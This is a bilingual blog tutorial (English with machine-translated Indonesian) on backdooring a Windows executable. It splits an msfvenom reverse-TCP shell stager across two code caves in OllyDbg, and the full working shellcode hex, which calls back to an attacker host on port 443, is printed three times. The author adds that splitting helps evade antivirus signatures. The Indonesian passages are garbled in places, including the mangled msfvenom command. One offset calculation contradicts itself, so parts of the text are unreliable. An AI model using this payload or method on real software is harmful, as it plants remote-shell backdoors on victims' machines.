75n1.com

close
close

Follow by Email

Backdoor 102


Introduction

This episode of Backdoor will consider the idea of analysing shell code to find areas which can be easily split into multiple smaller pieces of shell code. This will allow a larger piece of shell code to be split easily into smaller pieces that will then require minimal adjustments to ensure that it works. In this particular instance, we will not be focusing our efforts to increasing the evasion rate of the back door - that will be discussed in a later episode.

Shell code generated by msfvenom uses relative short jumps so careless splitting of the shell code can lead to the code crashing. In order to overcome this issue, we will take the shell code generated and analyse the different branches within the shell code to further our understanding of its operation.

This tutorial will cover shell code splitting and how to test to ensure that the shell code's original functionality has not been modified.

A quick preview of what to expect before reading the rest of the post is described by the diagram below.

Pengantar


Episode Backdoor akan mempertimbangkan ide menganalisis kode shell untuk menemukan daerah yang dapat dengan mudah dibagi menjadi beberapa bagian yang lebih kecil dari kode shell. Ini akan memungkinkan bagian yang lebih besar dari kode shell untuk dibagi dengan mudah menjadi potongan-potongan kecil yang kemudian akan membutuhkan penyesuaian minimal untuk memastikan bahwa ia bekerja. Dalam contoh ini, kita tidak akan memfokuskan upaya kami untuk meningkatkan tingkat penghindaran pintu belakang - yang akan dibahas dalam episode nanti.

Kode shell yang dihasilkan oleh msfvenom menggunakan relatif singkat melompat membelah begitu ceroboh dari kode shell dapat menyebabkan kode menerjang. Untuk mengatasi masalah ini, kita akan mengambil kode shell yang dihasilkan dan menganalisis berbagai cabang dalam kode shell untuk lebih pemahaman kita tentang operasi.

Tutorial ini akan mencakup kode membelah shell dan bagaimana untuk menguji untuk memastikan bahwa fungsi aslinya kode shell belum diubah.

Sebuah preview singkat dari apa yang diharapkan sebelum membaca sisa pos digambarkan oleh diagram di bawah.

Setting up the environment

If we refer to the Backdoor 101, we will recall the environment set up section of the tutorial. This is intended to be similar so if you already know how to set it up, you can skip ahead to the following section.

In our test environment, we have two virtual machines set up. The first virtual machine will be running Sana, Kali Linux 2.0. The second machine will be running Windows 7. For more information on virtual machine setup instructions, please refer to another dedicated guide [1]. Both machines will be configured to use Network Address Translation (NAT) as opposed to Bridge mode.

Once the two machines are booted, we need to firstly check the IP addresses allocated. In the Linux machine we can run the ifconfig command and on the Windows machine we can run ipconfig.

The following image shows ifconfig being run on the Kali Linux environment and reveals the IP address allocated to it by DHCP. An aware reader may notice that the IP for my attacking machine has changed since the last tutorial, that is fine.


Menyiapkan lingkungan

Jika kita mengacu pada Backdoor 101, kita akan mengingat lingkungan mengatur bagian dari tutorial. Hal ini dimaksudkan untuk menjadi serupa jadi jika Anda sudah tahu bagaimana mengaturnya, Anda dapat langsung beralih ke bagian berikut.

Dalam lingkungan pengujian kami, kami memiliki dua mesin virtual mengatur. Mesin virtual pertama akan berjalan Sana, Kali Linux 2.0. Mesin kedua akan menjalankan Windows 7. Untuk informasi lebih lanjut tentang instruksi pengaturan mesin virtual, silakan lihat panduan khusus lain [1]. Kedua mesin akan dikonfigurasi untuk menggunakan Network Address Translation (NAT) sebagai lawan modus Bridge.

Setelah dua mesin yang boot, kita perlu terlebih dahulu memeriksa alamat IP dialokasikan. Di mesin Linux kita dapat menjalankan perintah ifconfig dan pada mesin Windows kita bisa menjalankan ipconfig.

Gambar berikut menunjukkan ifconfig yang dijalankan pada lingkungan Kali Linux dan mengungkapkan alamat IP yang dialokasikan untuk itu oleh DHCP. Seorang pembaca menyadari mungkin memperhatikan bahwa IP untuk mesin menyerang saya telah berubah sejak tutorial terakhir, yang baik-baik saja.


On the windows machine, the ipconfig command should be used and this is observed by the following screenshot.


Pada mesin windows, perintah ipconfig harus digunakan dan ini diamati oleh screenshot berikut.


Therefore, we now know that the network set up can be visualised by the following diagram. The machine that we are running our virtual machines on is the host which is likely to be behind a firewall. Your machine will have its own internal IP address which is not listed in the following diagram - this was removed to simplify the diagram. To add to this, the host uses VMWare to create its own virtual space of the 192.168.1.1./24 range. This means that we will have all the IP addresses from 192.168.1.1 to 192.168.1.254. This can be configured to other settings to restrict the number of possible IP addresses if required; this will not be covered in this tutorial.

Oleh karena itu, kita sekarang tahu bahwa jaringan diatur dapat divisualisasikan dengan diagram berikut. Mesin yang kita menjalankan mesin virtual kami pada adalah tuan rumah yang kemungkinan berada di balik firewall. Mesin Anda akan memiliki alamat IP sendiri internal yang tidak tercantum dalam diagram berikut - ini telah dihapus untuk menyederhanakan diagram. Untuk menambah ini, tuan rumah menggunakan VMWare untuk menciptakan ruang virtual sendiri dari 192.168.1.1 itu. / 24 jangkauan. Ini berarti bahwa kita akan memiliki semua alamat IP dari 192.168.1.1 ke 192.168.1.254. Hal ini dapat dikonfigurasi untuk pengaturan lain untuk membatasi jumlah alamat IP mungkin jika diperlukan; ini tidak akan dibahas dalam tutorial ini.

In is trivial in VMWare to create multiple instances through duplication for further testing and it is recommended. Shell code that works on 32 bit systems may not work on 64 bit systems so testing is required. In my tutorials, I will be mainly focusing on only 32 bit executables. Later, I will be writing one tutorial for the readers who are interested in 64 bit PE infection.
Basic shell code analysis

In the process of splitting the shell code, it is often a lot easier if we take the shell code and analyse the sections it has first. Therefore, by inputting the shell code into The Online Disassembler [2] (ODA), we can visualise the code using a graph view.

The first step is to generate the shell code for the reverse TCP stager to be analysed through the following command. As we can see, in LHOST we must put our attacker machine that we want the shell code to create a connection connect back to. The LPORT value of 443 is configured due to common firewalls allowing egress on port 443.

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.133 LPORT=443 -f hex


Dalam sepele di VMWare untuk membuat beberapa contoh melalui duplikasi untuk pengujian lebih lanjut dan dianjurkan. Kode shell yang bekerja pada sistem 32 bit mungkin tidak bekerja pada sistem 64 bit sehingga pengujian diperlukan. Dalam tutorial saya, saya akan terutama berfokus pada hanya 32 bit executable. Kemudian, saya akan menulis satu tutorial untuk pembaca yang tertarik dalam 64 bit infeksi PE.
Analisis kode shell dasar

Dalam proses pemecahan kode shell, sering jauh lebih mudah jika kita mengambil kode shell dan menganalisis bagian itu pertama. Oleh karena itu, dengan memasukkan kode shell ke Online Disassembler [2] (ODA), kita dapat memvisualisasikan kode menggunakan tampilan grafik.

Langkah pertama adalah untuk menghasilkan kode shell untuk aktor TCP terbalik untuk dianalisis melalui perintah berikut. Seperti yang kita lihat, di LHOST kita harus menempatkan mesin penyerang kami yang ingin kita kode shell untuk membuat koneksi menghubungkan kembali ke. Nilai LPORT dari 443 dikonfigurasi karena firewall umum memungkinkan egress pada port 443.

msfvenom p windows / shell / reverse_tcp LHOST = 192.168.1.133 LPORT = 443 f hex

At this point, you may be trying to notice the change in shell code at one specific byte in the shell code due to the change from the last octet used in the previous tutorial being 0x82 instead of 0x85.

To analyse the given shell code, take the shell code and paste it into The Online Disassembler. Other tools such as IDA Pro may be used but in this instance we will focus on using this web based tool. The following image displays the box that the shell code should be placed into and the assembly parsed and displayed by the tool.


Pada titik ini, Anda mungkin akan mencoba untuk melihat perubahan dalam kode shell pada satu byte tertentu dalam kode shell karena perubahan dari oktet terakhir digunakan dalam tutorial sebelumnya yang 0x82 bukan 0x85.

Untuk menganalisis kode shell diberikan, mengambil kode shell dan tempel ke Online Disassembler. Alat-alat lain seperti IDA Pro dapat digunakan tetapi dalam hal ini kita akan fokus pada menggunakan alat berbasis web ini. Gambar berikut menampilkan kotak bahwa kode shell harus ditempatkan ke dalam dan perakitan diurai dan ditampilkan oleh alat.


Clicking on the "graph" button displays the following graph. We can interpret this graph by understanding that the shell code is actually in chunks. One type of loop in assembly can work using jumps (JMP instructions). Basically what the graph display does is split the code into appropriate jump sections and allows us to now visualise the different sections available. It is theoretically possible to split a shell code of n instructions into n code caves. This may be extreme but can put off a lot more antivirus (AV) scans due the requirement of signatures. A later tutorial will be created to provide analysts some insight to generating signatures for tools such as YARA [3] - the pattern matching Swiss knife for malware researchers.


Mengklik pada "grafik" tombol menampilkan grafik berikut. Kita dapat menafsirkan grafik ini dengan memahami bahwa kode shell sebenarnya dalam potongan. Salah satu jenis loop dalam perakitan dapat bekerja menggunakan lompatan (instruksi JMP). Pada dasarnya apa tampilan grafik yang dilakukan adalah membagi kode ke bagian melompat tepat dan memungkinkan kita untuk sekarang memvisualisasikan bagian yang berbeda yang tersedia. Hal ini secara teoritis mungkin untuk membagi kode shell instruksi n ke dalam gua kode n. Ini mungkin ekstrim tetapi dapat menunda lebih banyak antivirus (AV) scan karena persyaratan tanda tangan. Sebuah tutorial nantinya akan dibuat untuk memberikan beberapa wawasan analis untuk menghasilkan tanda tangan alat bantu seperti YARA [3] - pola pencocokan pisau Swiss bagi para peneliti malware.


By this point, I hope that we can appreciate the basic operations and can understand how the shell code is split into sections by its logical nature. It is important that we ensure that when we split the code, that the jumps within each code cave jump back to the correct instructions in respective caves. Jump operations in assembly make use of relative bytes to move forwards or backwards. It does not take into account the exact address or location of the shell code. In the original shell code that is generated, it makes use of relative jumps. Therefore, if we place the section of code which contains a jump, it will not be able to jump correctly using the hardcoded relative bytes. Venom was not created with the ability of allowing shell code splitting in mind. It merely generates a shell code which will run on a target operating system that can perform a task within a minimal defined space.

To understand how the jumps are being used in assembly, the remaining of this section will be aimed towards understanding the code flow. If you are already familiar with code flow tracing, you can skip to the next section.
The following screenshot takes the beginning of the shell code visualisation up to a jump and its destination.

Pada titik ini, saya berharap bahwa kita dapat menghargai operasi dasar dan dapat memahami bagaimana kode shell dibagi menjadi beberapa bagian oleh alam logis. Adalah penting bahwa kita memastikan bahwa ketika kita membagi kode, bahwa lompatan dalam setiap kode gua melompat kembali ke petunjuk yang benar di gua-gua masing-masing. Operasi melompat dalam perakitan memanfaatkan byte relatif bergerak maju atau mundur. Ini tidak memperhitungkan alamat yang tepat atau lokasi kode shell. Dalam kode shell asli yang dihasilkan, itu menggunakan melompat relatif. Oleh karena itu, jika kita menempatkan bagian kode yang berisi melompat, itu tidak akan mampu melompat dengan benar menggunakan byte relatif hardcoded. Racun tidak diciptakan dengan kemampuan yang memungkinkan kode shell membelah dalam pikiran. Ini hanya menghasilkan kode shell yang akan berjalan pada sistem operasi target itu dapat melakukan tugas dalam ruang didefinisikan minimal.

Untuk memahami bagaimana melompat yang digunakan dalam perakitan, sisa dari bagian ini akan ditujukan untuk memahami aliran kode. Jika Anda sudah akrab dengan aliran kode pelacakan, Anda dapat melompat ke bagian berikutnya.

Screenshot berikut mengambil awal visualisasi kode shell untuk melompat dan tujuan.




If we take notice of the top section of code and that there is a blue arrow coming out of it but no other arrow. This indicates that the disassembler is accommodating for a jump back from a future section of code (indicated by the green arrow on the far right coming into the top section). The following image highlights these two areas.



Moving on, if we look at the second chunk of code, we can see that there is a red arrow followed by one instruction and then another arrow coming out into a larger section. On the right of these two smaller arrows, we can see there is a larger green arrow which also points to the same destination. Both of the flows go to the same point in code, but is branched on condition. At the end of the chunk of code we can see a JL operation code (op-code) which means "jump if less" - a branching condition.


Jika kita memperhatikan bagian atas kode dan bahwa ada panah biru yang keluar dari itu tapi tidak ada panah lainnya. Hal ini menunjukkan bahwa disassembler yang akomodatif untuk melompat kembali dari bagian depan kode (ditunjukkan oleh panah hijau di paling kanan yang masuk ke bagian atas). Gambar berikut menyoroti kedua daerah.



Pindah, jika kita melihat potongan kedua kode, kita dapat melihat bahwa ada panah merah diikuti oleh satu instruksi dan kemudian panah lain yang keluar menjadi bagian yang lebih besar. Di sebelah kanan dua panah ini lebih kecil, kita bisa melihat ada panah hijau yang lebih besar yang juga menunjukkan ke tujuan yang sama. Kedua arus pergi ke titik yang sama dalam kode, tetapi bercabang pada kondisi. Pada akhir serangkaian kode kita dapat melihat kode operasi JL (op-code) yang berarti "melompat jika kurang" - suatu kondisi bercabang.



We will choose to split this section of the code. The red line across the following image displays the separation line. If there are two jumps in which it crosses over, it indicates that there are three initial branches we need to fix after splitting.


Kita akan memilih untuk membagi bagian kode. Garis merah di gambar berikut menampilkan garis pemisah. Jika ada dua melompat di mana ia menyilang, hal ini menunjukkan bahwa ada tiga cabang awal kita harus memperbaiki setelah membelah.





As we have previously learned, we need to pay extra attention to the jump if less than branch. Displayed below.




Seperti yang kita sebelumnya telah belajar, kita perlu membayar perhatian ekstra untuk melompat jika kurang dari cabang. Ditampilkan di bawah.




Recalling the extra jump back to the first section of code on the further right hand side, we can scroll down to see where that jump is. The highlighted green arrow below displays this happening and where the root of the jump is. This concludes the section. Keeping the points that we have analysed and found in mind, we can continue onto splitting the shell code.


Mengingat melompat ekstra kembali ke bagian pertama dari kode pada sisi kanan lebih lanjut, kita dapat menggulir ke bawah untuk melihat di mana lompatan yang. Panah disorot hijau di bawah display ini terjadi dan di mana akar melompat adalah. Ini menyimpulkan bagian. Menjaga poin yang telah kami menganalisis dan menemukan dalam pikiran, kita dapat melanjutkan ke membelah kode shell.

Splitting the code

To split the code into separate code caves, it is important for us to see how much space is needed for each code cave. Code caves are explained in the first episode of the series. This tutorial will not go over how to search for code caves again because it was covered in the previous episode.

To find out how many bytes these instructions translate to and to provide extra bytes for contingency, switch back over to the dis-assembly view in ODA. Taking the shell code we can split it into these two consequent sections displayed below.

Memisahkan kode

Untuk membagi kode ke gua kode yang terpisah, penting bagi kita untuk melihat berapa banyak ruang yang dibutuhkan untuk setiap kode gua. Gua kode dijelaskan dalam episode pertama dari seri. Tutorial ini tidak akan pergi atas bagaimana untuk mencari gua kode lagi karena itu ditutupi episode sebelumnya.

Untuk mengetahui berapa banyak byte instruksi ini diterjemahkan ke dan untuk memberikan byte tambahan untuk kontingensi, beralih kembali ke tampilan dis-perakitan di ODA. Mengambil kode shell kita dapat membaginya menjadi dua bagian ini konsekuen ditampilkan di bawah.


After splitting the above shell code, it equates to the following two stream of bytes.
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20

c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a0568c0a8018568020001bb89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5


To know how many bytes we need for either code cave, we can just find out the length of the code and divide it by 2 (2 digits per byte). Therefore we get lengths of 37 and 296. This is shown below.



Setelah membelah kode shell atas, setara dengan dua aliran berikut byte.
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20

c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a0568c0a8018568020001bb89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5


Untuk mengetahui berapa banyak byte yang kita butuhkan untuk kode baik gua, kita bisa mengetahui panjang kode dan membaginya dengan 2 (2 digit per byte). Oleh karena itu kita mendapatkan panjang 37 dan 296. Hal ini ditunjukkan di bawah ini.



However, if we recall from the first tutorial, we must perform the following:
Store the registers
Store the flags
Shell code
Align stack
Restore flags
Restore registers
Fix execution flow and follow it

Therefore, we need extra bytes. I would just add 10 bytes on top of each code cave size for contingency. Therefore we have two caves of sizes 47 and 306 respectively.
Labeling in Ollydbg

The act of labeling in Ollydbg allows us to enjoy the ease of referencing addresses. We can name address points to easily assemble. You will be able to understand why we are doing this later on in the tutorial when it is used in the next section. Trust me that it is not a time waster for now. Please do not use the exact same addresses for code caves as me. Code cave one actually corrupts the original data and the program crashes. It is important that you find two safe code caves for usage. It may take some time and experimentation before finding two working code caves. The code caves below were not my final cave addresses.

Take the first code cave and give it the label of cc1. The following image displays this.

Namun, jika kita ingat dari tutorial pertama, kita harus melakukan hal berikut:
Menyimpan register
Menyimpan bendera
Kode shell
Menyelaraskan tumpukan
Kembalikan bendera
Kembalikan register
Perbaiki aliran eksekusi dan mengikutinya

Oleh karena itu, kita perlu byte ekstra. Saya hanya akan menambahkan 10 byte di atas satu sama ukuran kode gua untuk kontingensi. Oleh karena itu kami memiliki dua gua ukuran 47 dan 306 masing-masing.
Pelabelan di Ollydbg

Tindakan label di Ollydbg memungkinkan kita untuk menikmati kemudahan referensi alamat. Kami dapat nama poin alamat untuk dengan mudah merakit. Anda akan dapat memahami mengapa kita melakukan ini nanti di tutorial bila digunakan pada bagian berikutnya. Percayalah bahwa tidak pembuang waktu untuk saat ini. Jangan gunakan alamat yang sama persis untuk gua kode seperti saya. Kode gua yang benar-benar merusak data asli dan program crash. Adalah penting bahwa Anda menemukan dua gua kode aman untuk penggunaan. Ini mungkin memakan waktu dan eksperimen sebelum menemukan dua bekerja gua kode. Gua kode di bawah ini tidak alamat gua terakhir saya.

Mengambil kode gua pertama dan memberikan label cc1. Gambar berikut menampilkan ini.


Do the same with the second code cave using cc2 as displayed in the following image.

Lakukan hal yang sama dengan aye kode kedua menggunakan cc2 seperti yang ditampilkan pada gambar berikut.




Now that we have both of the code caves in place, we can begin placing it into the appropriate places and fix the references between them, ending this section.
Injecting into OnExit

Following on from the previous tutorial, we can locate an appropriate location on the exit procedural flow. This will not be covered in this guide and it will be assumed that you have found an appropriate injection point and understood how to align and fix the procedural flow.

Label the point of injection as orig as displayed in the following screenshot. Label the return point as returnpoint.

Sekarang bahwa kita memiliki kedua gua kode di tempat, kita dapat mulai menempatkannya ke tempat yang tepat dan memperbaiki referensi di antara mereka, mengakhiri bagian ini.
Menyuntikkan ke OnExit

Berikut dari tutorial sebelumnya, kita dapat menemukan lokasi yang tepat di pintu keluar aliran prosedural. Ini tidak akan dibahas dalam buku ini dan akan diasumsikan bahwa Anda telah menemukan titik injeksi yang tepat dan mengerti bagaimana untuk menyelaraskan dan memperbaiki aliran prosedural.

Label titik injeksi orig seperti yang ditampilkan dalam gambar berikut. Label titik kembali sebagai returnpoint.




Let us jump to the first section of the code cave. Type space or right click the point of injection and click assemble.

If the previous sections were completed and labelled correctly - the following displayed assembly will work.





Mari kita melompat ke bagian pertama dari gua kode. Ketik ruang atau klik kanan titik injeksi dan klik merakit.

Jika bagian sebelumnya telah diselesaikan dan diberi label dengan benar - perakitan ditampilkan berikut akan bekerja.


Pressing assemble will then produce the following result as shown below.



Menekan merakit maka akan menghasilkan hasil sebagai berikut seperti yang ditunjukkan di bawah ini.

If we type enter with the line of code selected, we can follow the code into our code cave. Another way to perform this is by right clicking -> follow. After doing so, you will be directed to a view similar to below.

Jika kita ketik masuk dengan baris kode yang dipilih, kita dapat mengikuti kode ke dalam kode gua. Cara lain untuk melakukan ini adalah dengan mengklik kanan -> ikuti. Setelah melakukannya, Anda akan diarahkan ke tampilan yang mirip dengan di bawah ini.

Filling in code cave one

As we mentioned previously, we have the two snippets of split code now.
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20

c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a0568c0a8018568020001bb89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5


We can paste the first of the two shell code snippets into the first smaller code cave of at least 47 bytes. Before we do this, we need to save the registers and flags.

Assemble the following code into the code cave as displayed below.

Mengisi kode gua satu

Seperti yang telah disebutkan sebelumnya, kita memiliki dua potongan kode perpecahan sekarang.
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20

c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a0568c0a8018568020001bb89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5


Kita dapat menyisipkan pertama dari dua potongan kode shell ke dalam kode pertama gua kecil minimal 47 byte. Sebelum kita melakukan ini, kita perlu menyimpan register dan bendera.

Merakit kode berikut ke dalam gua kode seperti yang ditampilkan di bawah ini.




After performing this step, we can begin assembling our first part of the shell code. Firstly, copy the shell code into your clip board as hex. Secondly, highlight a large number of lines then right click -> binary -> binary paste. The following screenshot visualises this process.

Setelah melakukan langkah ini, kita bisa mulai merakit bagian pertama kami kode shell. Pertama, salin kode shell ke papan klip Anda sebagai hex. Kedua, menyoroti sejumlah besar baris kemudian klik kanan -> biner -> pasta biner. Screenshot berikut memvisualisasikan proses ini.




In a normal scenario, the code after sub al, 20 will follow directly into the next command in the code that will be located in code cave two. However, the code caves are no longer one whole section of code and therefore will require manual assistance in directing it to the next code cave. Therefore, we resolve this issue with a jump operation. Assemble a jump to the next code cave as displayed below.




Dalam skenario normal, kode setelah sub al, 20 akan mengikuti langsung ke perintah berikutnya dalam kode yang akan berlokasi di kode gua dua. Namun, gua kode tidak lagi satu bagian utuh dari kode dan karena itu akan memerlukan bantuan petunjuk dalam mengarahkan ke kode gua berikutnya. Oleh karena itu, kita menyelesaikan masalah ini dengan operasi melompat. Merakit melompat ke kode gua berikutnya seperti yang ditampilkan di bawah.




We can confirm that this is directed correctly by pressing enter. This will then put us in code cave two range.
Filling in code cave two

We do not need to save the registers and flags in this case because we had already done so previously in the beginning of the previous code cave. Now following the previous method, highlight multiple lines and paste in the shell code. Make sure that enough lines are highlighted as it will only overwrite those that are selected and will not insert.

The following screenshot displays the beginning of the shell code injected.




Kami dapat mengkonfirmasi bahwa ini diarahkan dengan benar dengan menekan enter. Hal ini kemudian akan menempatkan kami dalam kode gua dua jangkauan.
Mengisi kode gua dua

Kami tidak perlu menyimpan register dan bendera dalam kasus ini karena kami sudah melakukannya sebelumnya di awal kode gua sebelumnya. Sekarang mengikuti metode sebelumnya, sorot beberapa baris dan paste kode shell. Pastikan bahwa cukup garis disorot karena hanya akan menimpa orang-orang yang dipilih dan tidak akan memasukkan.

Screenshot berikut menampilkan awal kode shell disuntikkan.


At the end of the shell code, we need to align, restore our instructions, flags and registers then fix the damaged code and jump back. The screenshot below demonstrates theses fixes.


Pada akhir kode shell, kita perlu menyelaraskan, mengembalikan petunjuk kami, bendera dan register kemudian memperbaiki kode rusak dan melompat kembali. Gambar di bawah menunjukkan tesis perbaikan.


Following the final jump, we should return back to the original point. It is important to test and ensure that these vital jumps are redirecting the code to the correct locations. Let us save the code first before continuing with the correction of all the other location relative jumps and calls within the code so that we are executing the correct code at all times.

In this tutorial, I reverted to Ollydbg 1.1.0 and I can use right click -> copy -> select all displayed below.



Setelah melompat akhir, kita harus kembali ke titik awal. Hal ini penting untuk menguji dan memastikan bahwa ini melompat vital mengarahkan kode ke lokasi yang benar. Mari kita menyimpan kode yang pertama sebelum melanjutkan dengan koreksi semua melompat relatif lokasi lain dan panggilan dalam kode sehingga kita mengeksekusi kode yang benar setiap saat.

Dalam tutorial ini, saya kembali ke OllyDbg 1.1.0 dan saya dapat menggunakan klik kanan -> copy -> pilih semua yang ditampilkan di bawah.



Followed by a right click -> copy to executable.

It may be required that you will need to save each code section change one at a time. Therefore, you can save a few different executables. Ollydbg does not allow you to copy all changes in the entire executable.

After saving the binary, restart the executable and ensure that all the breakpoints are in place. We will break on theorig point and step through the code to identify jump and call operations that are using relative locations to addresses as operands. Operands are the parameters used with an operation code.

At this point, a run of the executable crashes. This is not normal. Therefore, we go back to further testing and realise that the code inserted into code cave one was not safe.

Therefore, we need to go through the original process again and find a safe section for code cave one to be used. In the tutorial, I will not go over this again as the process is the same, demonstrated by the following diagram of flow. This is explained by the following diagram. This is the same as the diagram at the beginning of the post and has been re-used to help with the explanation.




Diikuti dengan klik kanan -> copy untuk dieksekusi.

Ini mungkin diperlukan bahwa Anda akan perlu untuk menyimpan setiap bagian kode perubahan satu per satu. Oleh karena itu, Anda dapat menyimpan executable yang berbeda. Ollydbg tidak memungkinkan Anda untuk menyalin semua perubahan di seluruh executable.

Setelah menyimpan biner, restart dieksekusi dan memastikan bahwa semua breakpoints berada di tempat. Kami akan istirahat pada titik theorig dan langkah melalui kode untuk mengidentifikasi melompat dan panggilan operasi yang menggunakan lokasi relatif terhadap alamat sebagai operan. Operan adalah parameter yang digunakan dengan kode operasi.

Pada titik ini, lari dari crash dieksekusi. Ini tidak normal. Oleh karena itu, kita kembali ke pengujian lebih lanjut dan menyadari bahwa kode dimasukkan ke dalam kode gua satu tidak aman.

Oleh karena itu, kita harus melewati proses asli lagi dan menemukan bagian yang aman untuk kode gua satu yang akan digunakan. Dalam tutorial ini, saya tidak akan pergi ini lagi sebagai proses adalah sama, ditunjukkan oleh diagram berikut aliran. Hal ini dijelaskan oleh diagram berikut. Ini adalah sama dengan diagram pada awal pos dan telah digunakan kembali untuk membantu dengan penjelasan.

Fixing relative location operands

In this section of the tutorial, I will be demonstrating the fixing of relative locations only once. I will go through the explanation of how to fix one of the relative operations just once. However, the tutorial will also include a section on how to step through the shell code to ensure that all the operations that use operands which contain relative locations are referring to the correct locations.



Memperbaiki operan lokasi relatif

Dalam bagian ini dari tutorial, saya akan mendemonstrasikan penetapan lokasi relatif hanya sekali. Aku akan pergi melalui penjelasan tentang bagaimana untuk memperbaiki salah satu operasi relatif hanya sekali. Namun, tutorial ini juga akan mencakup bagian tentang bagaimana untuk melangkah melalui kode shell untuk memastikan bahwa semua operasi yang menggunakan operan yang mengandung lokasi relatif mengacu pada lokasi yang benar.


To be able to fix this, we need to understand how the location of the instruction to be called is calculated. By understanding the call, we can see the bytes E8 82000000. The byte E8 is the operation code for call relative location. The bytes 82000000, is in little endian and actually resolves to 82 in hex -> 130 decimal. Therefore, we know the instruction that will get called is 130 bytes after the address displayed a the next instruction. The calculation performed is 0x0047B4B2 + 0xE8 = 0x0047B534. Therefore, we can conclude that is correct. However, now that the second part of the shell code is shifted into another region, the 0xE8 offset no longer applies. Therefore, we need to find the offset that we need to call that calls the same instruction as before it was split.

Let us refer to ODA and see which actually exists at the current offset +0x82. The following image shows the call and by clicking on the address, it will redirect us.


Untuk dapat memperbaiki hal ini, kita perlu memahami bagaimana lokasi instruksi yang akan disebut dihitung. Dengan memahami panggilan, kita bisa melihat byte E8 82000000. Byte E8 adalah kode operasi untuk panggilan lokasi relatif. Byte 82000000, di little endian dan benar-benar memutuskan untuk 82 di hex -> 130 desimal. Oleh karena itu, kita tahu instruksi yang akan dipanggil adalah 130 byte setelah alamat ditampilkan instruksi berikutnya. Perhitungan dilakukan adalah 0x0047B4B2 + 0xE8 = 0x0047B534. Oleh karena itu, kita dapat menyimpulkan bahwa adalah benar. Namun, sekarang bagian kedua dari kode shell digeser ke wilayah lain, 0xE8 diimbangi tidak lagi berlaku. Oleh karena itu, kita perlu mencari offset yang kita perlu memanggil yang memanggil instruksi yang sama seperti sebelum terpecah.

Mari kita simak ODA dan melihat yang benar-benar ada di saat diimbangi + 0x82. Gambar berikut menunjukkan panggilan dan dengan mengklik alamat, itu akan mengarahkan kita.




The subsequent illustration shows the landing point after clicking on the address. From seeing the highlighted instruction, we can see that the computer is being instructed to perform a pop ebp next.


Ilustrasi berikutnya menunjukkan titik pendaratan setelah mengklik alamat. Dari melihat instruksi disorot, kita dapat melihat bahwa komputer sedang diinstruksikan untuk melakukan EBP pop berikutnya.


The next step that we need to perform is to locate the exact instruction offset from code cave one in the second code cave. Time for a handy trick! First we can see that pop ebp is located at an offset of 0x88 from the start of the code. If we now take the start of our code cave 2 instruction ror edi, 0xD located at 0x25, we can find the difference. 0x88 - 0x25 = 0x63. Double clicking on Ollydbg at the start of code cave two, sets its offset to 0x00 and creates a relative location counter for us. This is displayed below.




Langkah selanjutnya yang perlu kita lakukan adalah untuk mencari instruksi yang tepat offset dari kode gua satu dalam kode gua kedua. Waktu untuk trik berguna! Pertama kita dapat melihat bahwa EBP pop terletak di offset 0x88 dari awal kode. Jika kita sekarang mengambil awal kami kode gua 2 instruksi RoR edi, 0xD terletak di 0x25, kita dapat menemukan perbedaan. 0x88 - 0x25 = 0x63. Mengklik ganda pada Ollydbg pada awal kode gua dua, set offset untuk 0x00 dan menciptakan lokasi kontra relatif bagi kita. Ini ditampilkan di bawah ini.


Now by scrolling down to a displacement of $+0x63, we find pop ebp located at the global offset of 0x0047B85F. This address will differ depending on where your second code cave is located. The following screenshot should provide better understanding.



Sekarang dengan menggulir ke perpindahan dari $ + 0x63, kita menemukan EBP pop terletak di global offset 0x0047B85F. Alamat ini akan berbeda tergantung di mana kode gua kedua Anda berada. Screenshot berikut harus memberikan pemahaman yang lebih baik.




